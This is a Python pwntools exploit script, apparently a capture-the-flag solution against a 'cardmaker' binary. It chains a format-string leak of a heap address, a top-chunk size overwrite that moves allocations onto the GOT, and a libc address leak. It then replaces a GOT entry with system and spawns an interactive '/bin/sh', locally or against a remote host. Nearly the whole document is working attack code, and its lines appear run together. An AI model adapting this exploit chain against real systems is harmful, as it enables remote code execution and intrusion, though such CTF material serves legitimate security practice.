#!/usr/bin/env python
import sys
from pwn import *
port = 8080
strtol_addr = 0x6030B0
def add_card(frum, to, ip, port, border, length, data):    r.sendline("1")    r.recvuntil("Who is this card from?\n")    r.sendline(frum)    r.recvuntil("Who is this card going to?\n")    r.sendline(to)    r.recvuntil("What address and port should I send this to? (ip:port)\n")    r.sendline("{}:{}".format(ip, port))    r.recvuntil("What border would you like around the card? (max of 2 chars)\n")    r.sendline(border)    r.recvuntil("How long is your message...?")    r.sendline(length)    r.recvuntil("What would you like your card to say? (end with 'done.' on its own line)\n")    r.sendline(data)    r.sendline("done.")    r.recv()
def delete_card(index):    r.sendline("4")    r.recvuntil("Which card do you want to delete: ")    r.sendline(str(index))
def send_recv_card():    lr = listen(port=port, bindaddr=host)    r.sendline("5")    recvd = lr.readuntil("Cardmaker")    lr.close()    return recvd
def list_card_contents(num):    r.sendline("2")    r.recvuntil("Which card do you want to print the fields of: ")    r.sendline(str(num))    r.recvuntil("Contents: ")    return r.recv()
def exploit():    # Leak out addresses    # -- rsi, rdx, rdx, r8, r9, [rsp ...]    add_card("me", "you", host, port, "%X", "6", "hello")    recvd = send_recv_card()    # Parse out heap address from r9    # -- Luckily rsi, rdx, rdx, r8 are always 1, 1, 3, 1 bytes longs    heap = int(recvd[recvd.index('\n')+7:recvd.index('400')], 16) & 0xFFFFF000 log.info("Got heap address 0x{:X}".format(heap))
    # Overwrite the wilderness with -1    add_card("me", "you", host, port, "xx", " -10", p64(0)*3 + p64(2**64-1) + p64(0)*2)
    # Move the wilderness on top of the GOT    # -- size = target - wilderness address - 16    target = strtol_addr    wild = heap + 0x98    size = target - wild - 16 - 0x28 - 0x30
    add_card("me", "you", host, port, "xx", " {}".format(size), "")
    # Leak out the original value of this GOT entry    # This'll overwrite the GOT will corrupt it! So we make sure it's one we don't need anymore (setbuf)    # -- First a dummy alloc that takes one out of a bin    add_card("me", "you", host, port, "xx", "0", "")    # Now this one will point to dup2    # Now this one will point to memset    add_card("me", "you", host, port, "xx", "0", "")    contents = list_card_contents(5)    memset_addr = u64(contents[:6] + "\x00\x00")    #dup2_addr = u64(contents[:6] + "\x00\x00")    #log.info("Found dup2 at 0x{:x}".format(dup2_addr)) log.info("Found memset at 0x{:x}".format(memset_addr))    #system_addr = dup2_addr + 0xa5900    system_addr = memset_addr - 0x45f20 log.info("System should be at 0x{:x}".format(system_addr))
    # Now next alloc will land on close    delete_card(3)    add_card("me", "you", host, port, "xx", "50", p64(system_addr))
    r.sendline("/bin/sh")    r.interactive()
if __name__ == "__main__": log.info("For remote: %s HOST PORT" % sys.argv[0])    if len(sys.argv) > 1:        r = remote(sys.argv[1], int(sys.argv[2]))        host = "aws ip"        exploit()    else:        r = process(['./cardmaker'], env={"LD_PRELOAD":"libc-2.23.so"})        print util.proc.pidof(r)        host = "0"        pause()        exploit()